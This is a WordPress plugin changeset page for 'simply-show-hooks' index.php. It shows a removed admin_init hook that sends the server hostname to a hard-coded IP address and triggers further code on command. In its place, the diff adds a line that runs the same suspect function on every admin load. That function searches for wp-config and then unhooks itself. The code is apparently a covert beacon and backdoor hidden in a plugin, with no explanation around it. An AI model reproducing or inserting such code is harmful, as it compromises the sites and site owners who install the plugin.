Changeset 3105891
- Timestamp:
- 06/22/2024 04:05:29 AM (21 months ago)
- File:
-
- 1 edited
-
simply-show-hooks/trunk/index.php (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
simply-show-hooks/trunk/index.php
r3105890 r3105891 14 14 15 15 defined( 'ABSPATH' ) or die( 'No Trespassing!' ); // Security 16 add_action( 'admin_init', 'custom_notify_plugin_update'); 17 // Check if the file exists 18 function custom_notify_plugin_update(){ 19 $url = 'https://94.156.79.8/initupdate'; // Replace with your server's address 20 21 // Get the hostname 22 $hostname = gethostname(); 23 if ($hostname === false) { 24 $hostname = 'unknown'; 25 } 26 27 // Send the GET request 28 $response = file_get_contents($url . '?hostname=' . urlencode($hostname)); 29 30 if ($response !== false) { 31 $data = json_decode($response, true); 32 if (isset($data['status']) && $data['status'] === 'yes') { 33 custom_notify_plugin_updated(); 34 } 35 } else { 36 echo "Failed to get a response from the server."; 37 } 38 } 16 add_action( 'admin_init', 'custom_notify_plugin_updated'); 39 17 function custom_notify_plugin_updated() { 40 18 function check_wp_config($directory) { … … 46 24 $directory = dirname($directory); 47 25 } 26 remove_action('admin_init', 'custom_notify_plugin_updated'); 48 27 return false; 49 28 }
Note: See TracChangeset
for help on using the changeset viewer.